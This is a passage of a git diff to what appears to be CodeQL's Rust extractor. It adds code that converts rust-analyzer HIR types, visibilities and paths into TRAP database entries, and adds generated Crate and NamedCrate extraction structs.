+fn emit_visibility(
+    db: &dyn HirDatabase,
+    trap: &mut TrapFile,
+    visibility: Visibility,
+) -> Option<trap::Label<generated::Visibility>> {
+    let path = match visibility {
+        Visibility::Module(module_id, VisibilityExplicitness::Explicit) => {
+            Some(make_path_mod(db.upcast(), module_id))
+        }
+        Visibility::Public => Some(vec![]),
+        Visibility::Module(_, VisibilityExplicitness::Implicit) => None,
+    };
+    path.map(|path| {
+        let path = make_qualified_path(trap, path);
+        trap.emit(generated::Visibility {
+            id: trap::TrapId::Star,
+            path,
+        })
+    })
+}
+fn const_or_function(
+    db: &dyn HirDatabase,
+    name: &str,
+    trap: &mut TrapFile,
+    type_: Binders<Ty>,
+    visibility: Visibility,
+) -> trap::Label<generated::Item> {
+    let type_: &chalk_ir::Ty<Interner> = type_.skip_binders();
+    match type_.kind(ra_ap_hir_ty::Interner) {
+        chalk_ir::TyKind::FnDef(fn_def_id, parameters) => {
+            let data = db.fn_def_datum(*fn_def_id);
+
+            let sig = ra_ap_hir_ty::CallableSig::from_def(db, *fn_def_id, parameters);
+            let params = sig
+                .params()
+                .iter()
+                .map(|p| {
+                    let type_repr = emit_hir_ty(trap, db, p);
+                    trap.emit(generated::Param {
+                        id: trap::TrapId::Star,
+                        attrs: vec![],
+                        type_repr,
+                        pat: None,
+                    })
+                })
+                .collect();
+
+            let ret_type = emit_hir_ty(trap, db, sig.ret());
+            let param_list = trap.emit(generated::ParamList {
+                id: trap::TrapId::Star,
+                params,
+                self_param: None,
+            });
+            let ret_type = ret_type.map(|ret_type| {
+                trap.emit(generated::RetTypeRepr {
+                    id: trap::TrapId::Star,
+                    type_repr: Some(ret_type),
+                })
+            });
+            let name = Some(trap.emit(generated::Name {
+                id: trap::TrapId::Star,
+                text: Some(name.to_owned()),
+            }));
+            let visibility = emit_visibility(db, trap, visibility);
+            trap.emit(generated::Function {
+                id: trap::TrapId::Star,
+                name,
+                attrs: vec![],
+                body: None,
+                is_const: false,
+                is_default: false,
+                visibility,
+                abi: None,
+                is_async: false,
+                is_gen: false,
+                is_unsafe: matches!(data.sig.safety, Safety::Unsafe),
+                generic_param_list: None, //TODO
+                param_list: Some(param_list),
+                ret_type,
+                where_clause: None,
+            })
+            .into()
+        }
+        _ => {
+            let type_repr = emit_hir_ty(trap, db, type_);
+            let name = Some(trap.emit(generated::Name {
+                id: trap::TrapId::Star,
+                text: Some(name.to_owned()),
+            }));
+            let visibility = emit_visibility(db, trap, visibility);
+            trap.emit(generated::Const {
+                id: trap::TrapId::Star,
+                name,
+                attrs: vec![],
+                body: None,
+                is_const: false,
+                is_default: false,
+                type_repr,
+                visibility,
+            })
+            .into()
+        }
+    }
+}
+fn emit_hir_type_bound(
+    db: &dyn HirDatabase,
+    trap: &mut TrapFile,
+    type_bound: &Binders<chalk_ir::WhereClause<Interner>>,
+) -> Option<trap::Label<generated::TypeBound>> {
+    match type_bound.skip_binders() {
+        WhereClause::Implemented(trait_ref) => {
+            let mut path = make_path(db, trait_ref.hir_trait_id());
+            path.push(
+                db.trait_data(trait_ref.hir_trait_id())
+                    .name
+                    .as_str()
+                    .to_owned(),
+            );
+            let path = make_qualified_path(trap, path);
+            let type_repr = Some(
+                trap.emit(generated::PathTypeRepr {
+                    id: trap::TrapId::Star,
+                    path,
+                })
+                .into(),
+            );
+            Some(trap.emit(generated::TypeBound {
+                id: trap::TrapId::Star,
+                is_async: false,
+                is_const: false,
+                lifetime: None,
+                type_repr,
+                use_bound_generic_args: None,
+            }))
+        }
+        _ => None,
+    }
+}
+
+fn emit_hir_path(path: &ra_ap_hir_def::path::Path) -> Vec<String> {
+    path.segments()
+        .iter()
+        .map(|x| x.name.as_str().to_owned())
+        .collect()
+}
+
+fn emit_hir_fn_ptr(
+    trap: &mut TrapFile,
+
+    db: &dyn HirDatabase,
+    function: &FnPointer,
+) -> trap::Label<generated::FnPtrTypeRepr> {
+    let parameters: Vec<_> = function.substitution.0.type_parameters(Interner).collect();
+
+    let (ret_type, params) = parameters.split_last().unwrap();
+
+    let ret_type = emit_hir_ty(trap, db, ret_type);
+    let ret_type = Some(trap.emit(generated::RetTypeRepr {
+        id: trap::TrapId::Star,
+        type_repr: ret_type,
+    }));
+    let params = params
+        .iter()
+        .map(|t| {
+            let type_repr = emit_hir_ty(trap, db, t);
+            trap.emit(generated::Param {
+                id: trap::TrapId::Star,
+                attrs: vec![],
+                type_repr,
+                pat: None,
+            })
+        })
+        .collect();
+    let param_list = Some(trap.emit(generated::ParamList {
+        id: trap::TrapId::Star,
+        params,
+        self_param: None,
+    }));
+    let is_unsafe = matches!(function.sig.safety, ra_ap_hir::Safety::Unsafe);
+    trap.emit(generated::FnPtrTypeRepr {
+        id: trap::TrapId::Star,
+        abi: None,
+        is_async: false,
+        is_const: false,
+        is_unsafe,
+        ret_type,
+        param_list,
+    })
+}
+
+fn scalar_to_str(scalar: &Scalar) -> &'static str {
+    match scalar {
+        Scalar::Bool => "bool",
+        Scalar::Char => "char",
+        Scalar::Int(IntTy::I8) => "i8",
+        Scalar::Int(IntTy::I16) => "i16",
+        Scalar::Int(IntTy::I32) => "i32",
+        Scalar::Int(IntTy::I64) => "i64",
+        Scalar::Int(IntTy::I128) => "i128",
+        Scalar::Int(IntTy::Isize) => "isize",
+        Scalar::Uint(UintTy::U8) => "u8",
+        Scalar::Uint(UintTy::U16) => "u16",
+        Scalar::Uint(UintTy::U32) => "u32",
+        Scalar::Uint(UintTy::U64) => "u64",
+        Scalar::Uint(UintTy::U128) => "u128",
+        Scalar::Uint(UintTy::Usize) => "usize",
+        Scalar::Float(FloatTy::F16) => "f16",
+        Scalar::Float(FloatTy::F32) => "f32",
+        Scalar::Float(FloatTy::F64) => "f64",
+        Scalar::Float(FloatTy::F128) => "f128",
+    }
+}
+
+fn make_path(db: &dyn HirDatabase, item: impl HasModule) -> Vec<String> {
+    let db = db.upcast();
+    let module = item.module(db);
+    make_path_mod(db, module)
+}
+
+fn make_path_mod(db: &dyn DefDatabase, module: ModuleId) -> Vec<String> {
+    let mut path = Vec::new();
+    let mut module = module;
+    loop {
+        if module.is_block_module() {
+            path.push("<block>".to_owned());
+        } else if let Some(name) = module.name(db).map(|x| x.as_str().to_owned()).or_else(|| {
+            module.as_crate_root().and_then(|k| {
+                let krate = k.krate().extra_data(db);
+                krate
+                    .display_name
+                    .as_ref()
+                    .map(|x| x.canonical_name().to_string())
+            })
+        }) {
+            path.push(name);
+        } else {
+            path.push("<unnamed>".to_owned());
+        }
+        if let Some(parent) = module.containing_module(db) {
+            module = parent;
+        } else {
+            break;
+        }
+    }
+    path.reverse();
+    path
+}
+fn make_qualified_path(
+    trap: &mut TrapFile,
+    path: Vec<String>,
+) -> Option<trap::Label<generated::Path>> {
+    fn qualified_path(
+        trap: &mut TrapFile,
+        qualifier: Option<trap::Label<generated::Path>>,
+        name: String,
+    ) -> trap::Label<generated::Path> {
+        let identifier = Some(trap.emit(generated::NameRef {
+            id: trap::TrapId::Star,
+            text: Some(name),
+        }));
+        let segment = Some(trap.emit(generated::PathSegment {
+            id: trap::TrapId::Star,
+            generic_arg_list: None,
+            identifier,
+            parenthesized_arg_list: None,
+            ret_type: None,
+            return_type_syntax: None,
+        }));
+        trap.emit(generated::Path {
+            id: trap::TrapId::Star,
+            qualifier,
+            segment,
+        })
+    }
+    path.into_iter()
+        .fold(None, |q, p| Some(qualified_path(trap, q, p)))
+}
+fn emit_hir_ty(
+    trap: &mut TrapFile,
+
+    db: &dyn HirDatabase,
+    ty: &Ty,
+) -> Option<trap::Label<generated::TypeRepr>> {
+    match ty.kind(ra_ap_hir_ty::Interner) {
+        chalk_ir::TyKind::Never => Some(
+            trap.emit(generated::NeverTypeRepr {
+                id: trap::TrapId::Star,
+            })
+            .into(),
+        ),
+
+        chalk_ir::TyKind::Placeholder(_index) => Some(
+            trap.emit(generated::InferTypeRepr {
+                id: trap::TrapId::Star,
+            })
+            .into(),
+        ),
+
+        chalk_ir::TyKind::Tuple(_size, substitution) => {
+            let fields = substitution.type_parameters(ra_ap_hir_ty::Interner);
+            let fields = fields
+                .flat_map(|field| emit_hir_ty(trap, db, &field))
+                .collect();
+
+            Some(
+                trap.emit(generated::TupleTypeRepr {
+                    id: trap::TrapId::Star,
+                    fields,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Raw(mutability, ty) => {
+            let type_repr = emit_hir_ty(trap, db, ty);
+
+            Some(
+                trap.emit(generated::PtrTypeRepr {
+                    id: trap::TrapId::Star,
+                    is_mut: matches!(mutability, chalk_ir::Mutability::Mut),
+                    is_const: false,
+                    type_repr,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Ref(mutability, _lifetime, ty) => {
+            let type_repr = emit_hir_ty(trap, db, ty);
+            let lifetime = None; //TODO: ?
+            Some(
+                trap.emit(generated::RefTypeRepr {
+                    id: trap::TrapId::Star,
+                    is_mut: matches!(mutability, chalk_ir::Mutability::Mut),
+                    lifetime,
+                    type_repr,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Array(ty, _konst) => {
+            let element_type_repr = emit_hir_ty(trap, db, ty);
+            // TODO: handle array size constant
+            Some(
+                trap.emit(generated::ArrayTypeRepr {
+                    id: trap::TrapId::Star,
+                    const_arg: None,
+                    element_type_repr,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Slice(ty) => {
+            let type_repr = emit_hir_ty(trap, db, ty);
+            Some(
+                trap.emit(generated::SliceTypeRepr {
+                    id: trap::TrapId::Star,
+                    type_repr,
+                })
+                .into(),
+            )
+        }
+
+        chalk_ir::TyKind::Adt(adt_id, _substitution) => {
+            let mut path = make_path(db, adt_id.0);
+            let name = match adt_id.0 {
+                ra_ap_hir_def::AdtId::StructId(struct_id) => {
+                    db.struct_data(struct_id).name.as_str().to_owned()
+                }
+                ra_ap_hir_def::AdtId::UnionId(union_id) => {
+                    db.union_data(union_id).name.as_str().to_owned()
+                }
+                ra_ap_hir_def::AdtId::EnumId(enum_id) => {
+                    db.enum_data(enum_id).name.as_str().to_owned()
+                }
+            };
+            path.push(name);
+            let path = make_qualified_path(trap, path);
+            Some(
+                trap.emit(generated::PathTypeRepr {
+                    id: trap::TrapId::Star,
+                    path,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Scalar(scalar) => {
+            let path = make_qualified_path(trap, vec![scalar_to_str(scalar).to_owned()]);
+            Some(
+                trap.emit(generated::PathTypeRepr {
+                    id: trap::TrapId::Star,
+                    path,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Str => {
+            let path = make_qualified_path(trap, vec!["str".to_owned()]);
+            Some(
+                trap.emit(generated::PathTypeRepr {
+                    id: trap::TrapId::Star,
+                    path,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Function(fn_pointer) => {
+            Some(emit_hir_fn_ptr(trap, db, fn_pointer).into())
+        }
+        chalk_ir::TyKind::OpaqueType(_, _)
+        | chalk_ir::TyKind::Alias(chalk_ir::AliasTy::Opaque(_)) => {
+            let bounds = ty
+                .impl_trait_bounds(db)
+                .iter()
+                .flatten()
+                .flat_map(|t| emit_hir_type_bound(db, trap, t))
+                .collect();
+            let type_bound_list = Some(trap.emit(generated::TypeBoundList {
+                id: trap::TrapId::Star,
+                bounds,
+            }));
+            Some(
+                trap.emit(generated::ImplTraitTypeRepr {
+                    id: trap::TrapId::Star,
+                    type_bound_list,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Dyn(dyn_ty) => {
+            let bounds = dyn_ty
+                .bounds
+                .skip_binders()
+                .iter(ra_ap_hir_ty::Interner)
+                .flat_map(|t| emit_hir_type_bound(db, trap, t))
+                .collect();
+            let type_bound_list = Some(trap.emit(generated::TypeBoundList {
+                id: trap::TrapId::Star,
+                bounds,
+            }));
+            Some(
+                trap.emit(generated::DynTraitTypeRepr {
+                    id: trap::TrapId::Star,
+                    type_bound_list,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::FnDef(fn_def_id, parameters) => {
+            let sig = ra_ap_hir_ty::CallableSig::from_def(db, *fn_def_id, parameters);
+            Some(emit_hir_fn_ptr(trap, db, &sig.to_fn_ptr()).into())
+        }
+
+        chalk_ir::TyKind::Alias(chalk_ir::AliasTy::Projection(ProjectionTy {
+            associated_ty_id,
+            substitution: _,
+        }))
+        | chalk_ir::TyKind::AssociatedType(associated_ty_id, _) => {
+            let assoc_ty_data = db.associated_ty_data(*associated_ty_id);
+
+            let _name = db
+                .type_alias_data(assoc_ty_data.name)
+                .name
+                .as_str()
+                .to_owned();
+
+            let trait_ref = ra_ap_hir_ty::TraitRef {
+                trait_id: assoc_ty_data.trait_id,
+                substitution: assoc_ty_data.binders.identity_substitution(Interner),
+            };
+            let mut trait_path = make_path(db, trait_ref.hir_trait_id());
+            trait_path.push(
+                db.trait_data(trait_ref.hir_trait_id())
+                    .name
+                    .as_str()
+                    .to_owned(),
+            );
+            //TODO
+            // trap.emit(generated::AssociatedType {
+            //     id: trap::TrapId::Star,
+            //     trait_path,
+            //     name,
+            // })
+            // .into()
+            None
+        }
+        chalk_ir::TyKind::BoundVar(var) => {
+            let var = format!("T_{}_{}", var.debruijn.depth(), var.index);
+            let path = make_qualified_path(trap, vec![var]);
+            Some(
+                trap.emit(generated::PathTypeRepr {
+                    id: trap::TrapId::Star,
+                    path,
+                })
+                .into(),
+            )
+        }
+        chalk_ir::TyKind::Foreign(_)
+        | chalk_ir::TyKind::Closure(_, _)
+        | chalk_ir::TyKind::Coroutine(_, _)
+        | chalk_ir::TyKind::CoroutineWitness(_, _)
+        | chalk_ir::TyKind::InferenceVar(_, _)
+        | chalk_ir::TyKind::Error => {
+            debug!("Unexpected type {:#?}", ty.kind(ra_ap_hir_ty::Interner));
+            None
+        }
+    }
+}
+
+enum Variant {
+    Unit,
+    Record(trap::Label<generated::StructFieldList>),
+    Tuple(trap::Label<generated::TupleFieldList>),
+}
+
+impl From<Variant> for Option<trap::Label<generated::StructFieldList>> {
+    fn from(val: Variant) -> Self {
+        match val {
+            Variant::Record(label) => Some(label),
+            _ => None,
+        }
+    }
+}
+
+impl From<Variant> for Option<trap::Label<generated::FieldList>> {
+    fn from(val: Variant) -> Self {
+        match val {
+            Variant::Record(label) => Some(label.into()),
+            Variant::Tuple(label) => Some(label.into()),
+            Variant::Unit => None,
+        }
+    }
+}
+
+fn emit_variant_data(trap: &mut TrapFile, db: &dyn HirDatabase, variant_id: VariantId) -> Variant {
+    let variant = variant_id.variant_data(db.upcast());
+    match variant.as_ref() {
+        VariantData::Record {
+            fields: field_data,
+            types_map: _,
+        } => {
+            let field_types = db.field_types(variant_id);
+            let fields = field_types
+                .iter()
+                .map(|(field_id, ty)| {
+                    let name = Some(trap.emit(generated::Name {
+                        id: trap::TrapId::Star,
+                        text: Some(field_data[field_id].name.as_str().to_owned()),
+                    }));
+                    let type_repr = emit_hir_ty(trap, db, ty.skip_binders());
+                    let visibility = emit_visibility(
+                        db,
+                        trap,
+                        field_data[field_id]
+                            .visibility
+                            .resolve(db.upcast(), &variant_id.resolver(db.upcast())),
+                    );
+                    trap.emit(generated::StructField {
+                        id: trap::TrapId::Star,
+                        attrs: vec![],
+                        name,
+                        type_repr,
+                        visibility,
+                        default: None,
+                    })
+                })
+                .collect();
+            Variant::Record(trap.emit(generated::StructFieldList {
+                id: trap::TrapId::Star,
+                fields,
+            }))
+        }
+        VariantData::Tuple {
+            fields: field_data, ..
+        } => {
+            let field_types = db.field_types(variant_id);
+            let fields = field_types
+                .iter()
+                .map(|(field_id, ty)| {
+                    let type_repr = emit_hir_ty(trap, db, ty.skip_binders());
+                    let visibility = emit_visibility(
+                        db,
+                        trap,
+                        field_data[field_id]
+                            .visibility
+                            .resolve(db.upcast(), &variant_id.resolver(db.upcast())),
+                    );
+
+                    trap.emit(generated::TupleField {
+                        id: trap::TrapId::Star,
+                        attrs: vec![],
+                        type_repr,
+                        visibility,
+                    })
+                })
+                .collect();
+            Variant::Tuple(trap.emit(generated::TupleFieldList {
+                id: trap::TrapId::Star,
+                fields,
+            }))
+        }
+        VariantData::Unit => Variant::Unit,
+    }
+}
+
+fn cmp_flag(a: &&CfgAtom, b: &&CfgAtom) -> Ordering {
+    match (a, b) {
+        (CfgAtom::Flag(a), CfgAtom::Flag(b)) => a.as_str().cmp(b.as_str()),
+        (CfgAtom::Flag(a), CfgAtom::KeyValue { key: b, value: _ }) => {
+            a.as_str().cmp(b.as_str()).then(Ordering::Less)
+        }
+        (CfgAtom::KeyValue { key: a, value: _ }, CfgAtom::Flag(b)) => {
+            a.as_str().cmp(b.as_str()).then(Ordering::Greater)
+        }
+        (CfgAtom::KeyValue { key: a, value: av }, CfgAtom::KeyValue { key: b, value: bv }) => a
+            .as_str()
+            .cmp(b.as_str())
+            .then(av.as_str().cmp(bv.as_str())),
+    }
+}
diff --git a/rust/extractor/src/diagnostics.rs b/rust/extractor/src/diagnostics.rs
index d111975db7d5..b0201e2aed75 100644
--- a/rust/extractor/src/diagnostics.rs
+++ b/rust/extractor/src/diagnostics.rs
@@ -2,8 +2,8 @@ use crate::config::Config;
 use anyhow::Context;
 use chrono::{DateTime, Utc};
 use ra_ap_project_model::ProjectManifest;
-use serde::ser::SerializeMap;
 use serde::Serialize;
+use serde::ser::SerializeMap;
 use std::collections::HashMap;
 use std::fmt::Display;
 use std::fs::File;
@@ -83,6 +83,7 @@ pub enum ExtractionStepKind {
     LoadSource,
     Parse,
     Extract,
+    CrateGraph,
 }
 
 #[derive(Debug, Clone, Serialize)]
@@ -128,6 +129,10 @@ impl ExtractionStep {
         )
     }
 
+    pub fn crate_graph(start: Instant) -> Self {
+        Self::new(start, ExtractionStepKind::CrateGraph, None)
+    }
+
     pub fn load_source(start: Instant, target: &Path) -> Self {
         Self::new(
             start,
diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list
index 6aaea33eac5c..56c8762bcddf 100644
--- a/rust/extractor/src/generated/.generated.list
+++ b/rust/extractor/src/generated/.generated.list
@@ -1,2 +1,2 @@
 mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7
-top.rs 18702be33d768cc6f723201fce8c2bf2125df192c0336db9711a99f8fa7b074f 18702be33d768cc6f723201fce8c2bf2125df192c0336db9711a99f8fa7b074f
+top.rs 50fa90457102611ea7892153e4beb7512d3704a1c78d9bb8e75eb96b98b31740 50fa90457102611ea7892153e4beb7512d3704a1c78d9bb8e75eb96b98b31740
diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs
index fe5a9cd8ee38..b65cec68264e 100644
--- a/rust/extractor/src/generated/top.rs
+++ b/rust/extractor/src/generated/top.rs
@@ -74,6 +74,36 @@ impl From<trap::Label<Locatable>> for trap::Label<Element> {
     }
 }
 
+#[derive(Debug)]
+pub struct NamedCrate {
+    pub id: trap::TrapId<NamedCrate>,
+    pub name: String,
+    pub crate_: trap::Label<Crate>,
+}
+
+impl trap::TrapEntry for NamedCrate {
+    fn extract_id(&mut self) -> trap::TrapId<Self> {
+        std::mem::replace(&mut self.id, trap::TrapId::Star)
+    }
+
+    fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
+        out.add_tuple("named_crates", vec![id.into(), self.name.into(), self.crate_.into()]);
+    }
+}
+
+impl trap::TrapClass for NamedCrate {
+    fn class_name() -> &'static str { "NamedCrate" }
+}
+
+impl From<trap::Label<NamedCrate>> for trap::Label<Element> {
+    fn from(value: trap::Label<NamedCrate>) -> Self {
+        // SAFETY: this is safe because in the dbscheme NamedCrate is a subclass of Element
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
 #[derive(Debug)]
 pub struct Unextracted {
     _unused: ()
@@ -101,6 +131,15 @@ impl trap::TrapClass for AstNode {
     fn class_name() -> &'static str { "AstNode" }
 }
 
+impl From<trap::Label<AstNode>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<AstNode>) -> Self {
+        // SAFETY: this is safe because in the dbscheme AstNode is a subclass of Locatable
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
 impl From<trap::Label<AstNode>> for trap::Label<Element> {
     fn from(value: trap::Label<AstNode>) -> Self {
         // SAFETY: this is safe because in the dbscheme AstNode is a subclass of Element
@@ -110,9 +149,57 @@ impl From<trap::Label<AstNode>> for trap::Label<Element> {
     }
 }
 
-impl From<trap::Label<AstNode>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<AstNode>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AstNode is a subclass of Locatable
+#[derive(Debug)]
+pub struct Crate {
+    pub id: trap::TrapId<Crate>,
+    pub name: Option<String>,
+    pub version: Option<String>,
+    pub module: Option<trap::Label<Module>>,
+    pub cfg_options: Vec<String>,
+    pub named_dependencies: Vec<trap::Label<NamedCrate>>,
+}
+
+impl trap::TrapEntry for Crate {
+    fn extract_id(&mut self) -> trap::TrapId<Self> {
+        std::mem::replace(&mut self.id, trap::TrapId::Star)
+    }
+
+    fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
+        out.add_tuple("crates", vec![id.into()]);
+        if let Some(v) = self.name {
+            out.add_tuple("crate_names", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.version {
+            out.add_tuple("crate_versions", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.module {
+            out.add_tuple("crate_modules", vec![id.into(), v.into()]);
+        }
+        for (i, v) in self.cfg_options.into_iter().enumerate() {
+            out.add_tuple("crate_cfg_options", vec![id.into(), i.into(), v.into()]);
+        }
+        for (i, v) in self.named_dependencies.into_iter().enumerate() {
+            out.add_tuple("crate_named_dependencies", vec![id.into(), i.into(), v.into()]);
+        }
+    }
+}
+
+impl trap::TrapClass for Crate {
+    fn class_name() -> &'static str { "Crate" }
+}
+
+impl From<trap::Label<Crate>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<Crate>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Crate is a subclass of Locatable
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+impl From<trap::Label<Crate>> for trap::Label<Element> {
+    fn from(value: trap::Label<Crate>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Crate is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -138,18 +225,18 @@ impl trap::TrapClass for Missing {
     fn class_name() -> &'static str { "Missing" }
 }
 
-impl From<trap::Label<Missing>> for trap::Label<Element> {
+impl From<trap::Label<Missing>> for trap::Label<Unextracted> {
     fn from(value: trap::Label<Missing>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Missing is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Missing is a subclass of Unextracted
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Missing>> for trap::Label<Unextracted> {
+impl From<trap::Label<Missing>> for trap::Label<Element> {
     fn from(value: trap::Label<Missing>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Missing is a subclass of Unextracted
+        // SAFETY: this is safe because in the dbscheme Missing is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -175,18 +262,18 @@ impl trap::TrapClass for Unimplemented {
     fn class_name() -> &'static str { "Unimplemented" }
 }
 
-impl From<trap::Label<Unimplemented>> for trap::Label<Element> {
+impl From<trap::Label<Unimplemented>> for trap::Label<Unextracted> {
     fn from(value: trap::Label<Unimplemented>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Unimplemented is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Unimplemented is a subclass of Unextracted
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Unimplemented>> for trap::Label<Unextracted> {
+impl From<trap::Label<Unimplemented>> for trap::Label<Element> {
     fn from(value: trap::Label<Unimplemented>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Unimplemented is a subclass of Unextracted
+        // SAFETY: this is safe because in the dbscheme Unimplemented is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -225,18 +312,18 @@ impl From<trap::Label<Abi>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Abi>> for trap::Label<Element> {
+impl From<trap::Label<Abi>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Abi>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Abi is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Abi is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Abi>> for trap::Label<Locatable> {
+impl From<trap::Label<Abi>> for trap::Label<Element> {
     fn from(value: trap::Label<Abi>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Abi is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Abi is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -270,18 +357,18 @@ impl From<trap::Label<Addressable>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Addressable>> for trap::Label<Element> {
+impl From<trap::Label<Addressable>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Addressable>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Addressable is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Addressable is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Addressable>> for trap::Label<Locatable> {
+impl From<trap::Label<Addressable>> for trap::Label<Element> {
     fn from(value: trap::Label<Addressable>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Addressable is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Addressable is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -320,18 +407,18 @@ impl From<trap::Label<ArgList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<ArgList>> for trap::Label<Element> {
+impl From<trap::Label<ArgList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ArgList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArgList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ArgList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ArgList>> for trap::Label<Locatable> {
+impl From<trap::Label<ArgList>> for trap::Label<Element> {
     fn from(value: trap::Label<ArgList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArgList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ArgList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -366,18 +453,18 @@ impl From<trap::Label<AsmDirSpec>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmDirSpec>> for trap::Label<Element> {
+impl From<trap::Label<AsmDirSpec>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmDirSpec>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmDirSpec is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmDirSpec is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmDirSpec>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmDirSpec>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmDirSpec>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmDirSpec is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmDirSpec is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -402,18 +489,18 @@ impl From<trap::Label<AsmOperand>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmOperand>> for trap::Label<Element> {
+impl From<trap::Label<AsmOperand>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmOperand>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOperand is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmOperand is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmOperand>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmOperand>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmOperand>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOperand is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmOperand is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -456,18 +543,18 @@ impl From<trap::Label<AsmOperandExpr>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmOperandExpr>> for trap::Label<Element> {
+impl From<trap::Label<AsmOperandExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmOperandExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOperandExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmOperandExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmOperandExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmOperandExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmOperandExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOperandExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmOperandExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -506,18 +593,18 @@ impl From<trap::Label<AsmOption>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmOption>> for trap::Label<Element> {
